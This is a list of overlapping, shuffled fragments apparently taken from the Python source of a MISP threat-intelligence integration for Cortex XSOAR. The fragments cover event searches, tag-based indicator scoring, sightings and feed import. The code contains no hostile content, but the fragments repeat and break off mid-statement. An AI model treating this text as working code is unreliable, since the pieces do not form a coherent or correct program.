add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args = [ 'dst_port',\",\n \"indicator. For the context data outputs, for every attribute we remove the \\\"Related\",\n \"in common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \\\"\\\"\\\"Gets a list ot tag ids\",\n \"{json.dumps(response)}\\\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" Test module. \\\"\\\"\\\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit\",\n \"return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file':\",\n \"args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if\",\n \"\\\"DOMAIN\\\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \\\"EMAIL\\\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type\",\n \"= { 'CIRCL': {'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'},\",\n \"arg_to_number(demisto_args.get('limit', 50), \\\"limit\\\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: response_for_context =\",\n \"searches for all the events that have the tag (i.e found_tag) which caused\",\n \"{tag} has been successfully removed from the event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event',\",\n \"occurred: {response.get('message')}\\\") elif response.get('Sighting'): human_readable = f'Sighting \\\\'{sighting_type}\\\\' has been successfully added to\",\n \"'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif\",\n \"returning outputs Args: obj: object to add to MISP event_id: ID of event\",\n \"'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations') == 'true' else 0\",\n \"'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu\",\n \"= demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args:\",\n \"{'domain': 'google.com'}] \\\"\\\"\\\" return [{k: v} for k, v in args.items()] def build_generic_object(template_name:\",\n \"IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event Distribution':\",\n \"json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i]\",\n \"attributes found in MISP for value: {value}\\\") def get_events_related_to_scored_tag(all_attributes, found_tag): \\\"\\\"\\\" This function\",\n \") def add_sighting(demisto_args: dict): \\\"\\\"\\\"Adds sighting to MISP attribute \\\"\\\"\\\" attribute_id = demisto_args.get('id')\",\n \"(as a tag that was configured to be malicious is stronger than recognised\",\n \"reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\\\"MISP V3 error: Please provide a valid value for\",\n \"'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args))\",\n \"== 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed':\",\n \"if not att_id: raise DemistoException('ID or UUID not specified') sighting_args = { 'id':\",\n \"event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict): if data_dict.get('EventID'):\",\n \"threat level id. In such case, the score will be BAD if the\",\n \"score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored\",\n \"build_generic_object('url', url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template =\",\n \"see GenericObjectGenerator Class in Pymisp. Args: args: dictionary describes MISP object Returns: list:\",\n \"a timestamp from MISP response (1546713469) and converts it to human readable format\",\n \"malicious one (as a tag that was configured to be malicious is stronger\",\n \"the tag. \\\"\\\"\\\" scored_events = [] if found_tag: for attribute in all_attributes: event\",\n \"event \\\"\\\"\\\" response = PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response: raise DemistoException(f'Error in\",\n \"event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Event\\\", outputs_key_field=\\\"ID\\\" ) else: return CommandResults(readable_output=f\\\"No\",\n \"in tags_list: is_event_tag = tag.get('inherited', 0) # field doesn't exist when this is\",\n \"type: List[Dict[str, int]] for index, uri in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl,\",\n \"== 'Unknown': raise DemistoException('Invalid hash length, enter file hash of format MD5, SHA-1\",\n \"-> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid)\",\n \"UUID': event.get('UUID'), }) return event_highlights def search_events(demisto_args: dict) -> CommandResults: \\\"\\\"\\\" Execute a\",\n \"= demisto_args.get('event_id') url = demisto_args.get('url') url_parse = urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme':\",\n \"event_object.get('id') } for event_object in event['Object'] ] def build_tag_output(given_object): \\\"\\\"\\\"given_object is attribute or\",\n \"attributes[i] = {key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i])\",\n \"'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete':\",\n \"if no complex query found returns the original input \\\"\\\"\\\" regex_and = r'(AND:)([^\\\\;]+)(;)?'\",\n \"args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] =\",\n \"else: Exception(\\\"MISP V3 error: Please provide a valid value for the Source Reliability\",\n \"found_tag is_event_tag_malicious = any((found_tag := tag) in event_tags_ids for tag in malicious_tag_ids) if\",\n \"demisto_args.get('url') url_parse = urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else\",\n \"attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'),\",\n \"tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'):\",\n \"'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial': 0,\",\n \"types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip':\",\n \"event's uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully removed\",\n \"if url_parse.fragment else None url_obj.append({'port': url_parse.port}) if url_parse.port else None url_obj.append( {'credential': (url_parse.username,\",\n \"want to limit this list to include only the ID and Name fields.\",\n \":= tag) in event_tags_ids for tag in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag\",\n \"suspicious_tag_ids (set): Tag ids should be recognised as suspicious reliability (DBotScoreReliability): integration reliability\",\n \"Do nothing with warnings \\\"\\\"\\\" pass # Disable requests warnings urllib3.disable_warnings() # Disable\",\n \"def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict, list, str]: \\\"\\\"\\\" Replacing keys from\",\n \"ids set and will be stayed only in the malicious one (as a\",\n \"of format MD5, SHA-1 or SHA-256') if dbot_type == 'IP': if not is_ip_valid(value):\",\n \"demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid\",\n \"user wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object))\",\n \"else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute\",\n \"dbot_score=dbot_score) if dbot_type == \\\"EMAIL\\\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \\\"URL\\\": return\",\n \"url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port': url_parse.port}) if url_parse.port else None url_obj.append( {'credential':\",\n \"reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results = [] for value in reputation_value_list:\",\n \"galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if event_objects: return [event_object.get('ID')\",\n \"required indicator value, this function parses the response. This function goes over all\",\n \"not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key. Fill in a valid\",\n \"an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events =\",\n \"UUID not specified') sighting_args = { 'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] }\",\n \"PYMISP.search(eventid=event_id, pythonify=True) if not response: raise DemistoException( f\\\"Error: An event with the given\",\n \"malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results = [] for value\",\n \"event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS\",\n \"calculated by the tags ids (attribute tags and event tags). Args: value (str):\",\n \"requests warnings urllib3.disable_warnings() # Disable python warnings warnings.warn = warn ''' GLOBALS/PARAMS '''\",\n \"info (name, id, threat level id) about all the events that include the\",\n \"event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if event_objects: return [event_object.get('ID') for event_object in event.get('Object')]\",\n \"event.get('Object'): event['Object'] = [ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id')\",\n \"the integration configuration.') MISP_URL = params.get('url') VERIFY = not params.get('insecure') PROXIES = handle_proxy()\",\n \"to MISP urls with feeds for example: https://www.misp-project.org/feeds/ feed format must be MISP.\",\n \"if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type,\",\n \"than events' tags. \\\"\\\"\\\" found_tag = None is_attribute_tag_malicious = any((found_tag := tag) in\",\n \"threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in\",\n \"'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider':\",\n \"'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID',\",\n \"args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score'\",\n \"malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object':\",\n \"= demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid =\",\n \"attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'),\",\n \"id.\\\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute: attribute_type = demisto_args.get('type') distribution =\",\n \"we remove the \\\"Related Attribute\\\" list and limits the tags and galaxies lists.\",\n \"in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if\",\n \"r'(OR:)([^\\\\;]+)(;)?' regex_not = r'(NOT:)([^\\\\;]+)(;)?' misp_query_params = dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or\",\n \"== 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if\",\n \"make sure your MISP server url is correct.') if \\\"Please make sure the\",\n \"correct.') if \\\"Please make sure the API key and the URL are correct\\\"\",\n \"configured as suspicious nor malicious will be scored by their event's threat level\",\n \"sighting_type = demisto_args['type'] # mandatory arg att_id = attribute_id or attribute_uuid if not\",\n \"url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj) return add_object(event_id,\",\n \"limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] =\",\n \"which caused the indicator to be scored as malicious or suspicious. Args: all_attributes\",\n \"CommandResults(indicator=indicator, readable_output=f\\\"No attributes found in MISP for value: {value}\\\") def get_events_related_to_scored_tag(all_attributes, found_tag): \\\"\\\"\\\"\",\n \"attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'),\",\n \"'value', 'type', 'category', 'org', 'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings',\",\n \"to use the Trust any certificate option.') if \\\"NewConnectionError\\\" in error: return_error('Unable to\",\n \"to human readable format \\\"\\\"\\\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \\\"\\\" def replace_keys_from_misp_to_context_data(obj_to_build:\",\n \"or attribute. is_attribute (bool): if the given UUID is an attribute's one. Otherwise\",\n \"event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\\\"1\\\", \\\"2\\\", \\\"3\\\"] for event in found_related_events.values(): if\",\n \"updated.\\\\n\\\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute',\",\n \"if found_tag: for attribute in all_attributes: event = attribute.get('Event', {}) event_name = event.get('Info')\",\n \"for event in events_to_human_readable: # removing those fields as they are shared by\",\n \"misp_attributes_args) return add_object(event_id, obj) else: raise DemistoException( f'None of required arguments presents. command\",\n \"page and page < 0: raise DemistoException(\\\"page should be zero or a positive\",\n \"to the context output format. \\\"\\\"\\\" response_object = copy.deepcopy(response) if include_correlations: # return\",\n \"add attribute\\\\nNew attribute: {value} was added to event id {new_event.id}.\\\\n\\\" return CommandResults( readable_output=human_readable,\",\n \"attribute_id or attribute_uuid if not att_id: raise DemistoException('ID or UUID not specified') sighting_args\",\n \"arg att_id = attribute_id or attribute_uuid if not att_id: raise DemistoException('ID or UUID\",\n \"last_seen return attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance =\",\n \"params.get('credentials') or not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key. Fill in\",\n \"int]) -> str: \\\"\\\"\\\" Gets a timestamp from MISP response (1546713469) and converts\",\n \"attribute or event, depends on the called function\\\"\\\"\\\" if given_object.get('Tag'): given_object['Tag'] = [\",\n \"be found. Returns: list includes all the events that were detected as related\",\n \"and verify all the tags are valid positive integers.\\\"\\\"\\\" for tag in tag_ids:\",\n \"event's attribute tags ones as it is part of the event scope). If\",\n \"0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') == 'true' else\",\n \"operator_key): is_complex_search = False if match_operator is not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search\",\n \"an example for a parsed output in test_data/reputation_command_outputs.json \\\"\\\"\\\" response = copy.deepcopy(misp_response) attributes_list\",\n \"For the context data outputs, for every attribute we remove the \\\"Related Attribute\\\"\",\n \"demisto_args (dict): Demisto args new_event (MISPEvent): When this function was called from create\",\n \"else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\\\"Current page size:\",\n \"'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object',\",\n \"If the data is attribute's (is_event_level = false), and the tag is only\",\n \"'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info',\",\n \"list, please see GenericObjectGenerator Class in Pymisp. Args: args: dictionary describes MISP object\",\n \"This function goes over all the attributes that found (after limit the attributes\",\n \"if not is_ip_valid(value): raise DemistoException(f\\\"Error: The given IP address: {value} is not valid\\\")\",\n \"'Description', 'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID',\",\n \"= demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict)\",\n \"return event_highlights def search_events(demisto_args: dict) -> CommandResults: \\\"\\\"\\\" Execute a MISP search using\",\n \"required=True) command = demisto.command() demisto.debug(f'[MISP V3]: command is {command}') args = demisto.args() try:\",\n \"MISP event object This function can be called as an independence command or\",\n \"] def build_tag_output(given_object): \\\"\\\"\\\"given_object is attribute or event, depends on the called function\\\"\\\"\\\"\",\n \"if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type: ignore return url def add_events_from_feed(demisto_args: dict,\",\n \"'Object', 'Feed', ] ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids',\",\n \"format to Demisto's (as appear in ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]): object\",\n \"tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: # attribute level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID':\",\n \"the complex operators the original input will be returned Returns: str: dictionary created\",\n \"be a list of attributes along with their events objects. Note: When limits\",\n \"build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\\\"Current page size: {limit}\\\\n\\\" if len(response_for_context)\",\n \"'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return event_highlights\",\n \"args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \\\"page\\\", required=True) limit = arg_to_number(demisto_args.get('limit', 50),\",\n \"in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response)\",\n \"event_tags_ids for tag in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag\",\n \"'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description',\",\n \"Please see an example for a response in test_data/reputation_command_response.json Please see an example\",\n \"malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \\\"\\\"\\\" This function searches for the given attribute value\",\n \"attributes along with their events objects. Note: When limits the attributes amount, we\",\n \"limit: pagination_message += f\\\"Showing page {page} out others that may exist\\\" else: pagination_message\",\n \"set the arg 'compact' to True\\\"\\\"\\\" if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes\",\n \"in pymisp/api.py Args: demisto_query: complex query contains saved words: 'AND:', 'OR:' and 'NOT:'\",\n \"if tag <= 0: raise DemistoException(f\\\"Tag id has to be a positive integer,\",\n \"command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command ==\",\n \"no tag was found, then the score is Unknown so no events should\",\n \"'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing': 1,\",\n \"attributes_limit)) return command_results def reputation_value_validation(value, dbot_type): if dbot_type == 'FILE': # hashFormat will\",\n \"pagination_message += f\\\"Showing page {page} out others that may exist\\\" else: pagination_message +=\",\n \"in events_to_human_readable: # removing those fields as they are shared by the events\",\n \"'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id'))\",\n \"if isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event,\",\n \"it says that it is an attribute's tag. If the data is event's\",\n \"Examples are available in UT: test_build_misp_complex_filter. For more information please see build_complex_query in\",\n \"attributes list by the event ids as the greater event ids are the\",\n \"event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag, found_related_events\",\n \"of the event \\\"\\\"\\\" related_events = [] object_tags_list = object_data_dict.get('Tag', []) for tag\",\n \"example: https://www.misp-project.org/feeds/ feed format must be MISP. \\\"\\\"\\\" headers = {'Accept': 'application/json'} url\",\n \"in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type') }\",\n \"attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object):\",\n \"of the indicator. For the context data outputs, for every attribute we remove\",\n \"'Event Org ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID':\",\n \"the event scope). If the data is attribute's (is_event_level = false), and the\",\n \"(bool): if set to True, will not post results to Demisto demisto_args (dict):\",\n \"should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score':\",\n \"set() tags_list = attribute_dict.get('Tag', []) for tag in tags_list: is_event_tag = tag.get('inherited', 0)\",\n \"readable_output = tableToMarkdown(f'Results found in MISP for value: {value}', attribute_highlights, removeNull=True) readable_output +=\",\n \"= replace_keys_from_misp_to_context_data(response) formatted_response.update({\\\"ID\\\": event_id}) human_readable = f'Object has been added to MISP event\",\n \"scheme Scheme described https://www.misp-project.org/objects.html#_url \\\"\\\"\\\" url_args = [ 'text', 'last_seen', 'first_seen' ] event_id\",\n \"to limit this list to include only the ID and Name fields. In\",\n \"if len(response_for_context) == limit: pagination_message += f\\\"Showing page {page} out others that may\",\n \"'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS\",\n \"build_generic_object(template, args) return add_object(event_id, obj) except ValueError as e: raise DemistoException( f'`attribute` parameter\",\n \"are stronger than events' tags. \\\"\\\"\\\" found_tag = None is_attribute_tag_malicious = any((found_tag :=\",\n \"return CommandResults(indicator=indicator, readable_output=f\\\"No attributes found in MISP for value: {value}\\\") def get_events_related_to_scored_tag(all_attributes, found_tag):\",\n \"{uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict): \\\"\\\"\\\"Adds\",\n \"attributes are excluded from search-events output as the information is too big. User\",\n \"\\\"\\\"\\\" After getting all the attributes which match the required indicator value, this\",\n \"if limit and limit < 0: raise DemistoException(\\\"limit should be zero or a\",\n \"== 'true' else 0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get(\",\n \"\\\"\\\"\\\" Function will remove tag to given UUID of event or attribute. is_attribute\",\n \"'Type', 'id': 'ID', 'date': 'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock',\",\n \"get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results def reputation_value_validation(value, dbot_type): if dbot_type\",\n \"response = PYMISP.delete_event(event_id) if 'errors' in response: raise DemistoException(f'Event ID: {event_id} has not\",\n \"unnecessary data, we want to limit this list to include only the ID\",\n \"convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\\\"ID\\\": event_id}) human_readable =\",\n \"for {demisto.command()} command are {args_to_misp_format}\\\") return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) ->\",\n \"and limit < 0: raise DemistoException(\\\"limit should be zero or a positive number\\\")\",\n \"tag in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag := tag)\",\n \"Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') }) return attribute_highlights def\",\n \"it is set to 0 or not exists) it says that it is\",\n \"have any tags configured as suspicious nor malicious will be scored by their\",\n \"not params.get('credentials') or not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key. Fill\",\n \"datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \\\"\\\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict, list,\",\n \"event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events):\",\n \"Event ID to add attribute to internal (bool): if set to True, will\",\n \"related_events list Args: object_data_dict (dict): Event or attribute dict which includes tags list.\",\n \"== len(events_ids): break human_readable = tableToMarkdown(f'Total of {len(events_ids)} events was added to MISP.',\",\n \"for event_object in event['Object'] ] def build_tag_output(given_object): \\\"\\\"\\\"given_object is attribute or event, depends\",\n \"reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name = \\\"\\\", \\\"\\\" for event in events_to_human_readable: #\",\n \"'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy',\",\n \"tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict):\",\n \"def dict_to_generic_object_format(args: dict) -> List[dict]: \\\"\\\"\\\" Converts args dict into a list, please\",\n \"attribute's (attribute tags). \\\"\\\"\\\" output = [] tag_set_ids = set() tags_list = attribute_dict.get('Tag',\",\n \"if tag_id not in common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \\\"\\\"\\\"Gets a list\",\n \"url_parse.query}) if url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment': 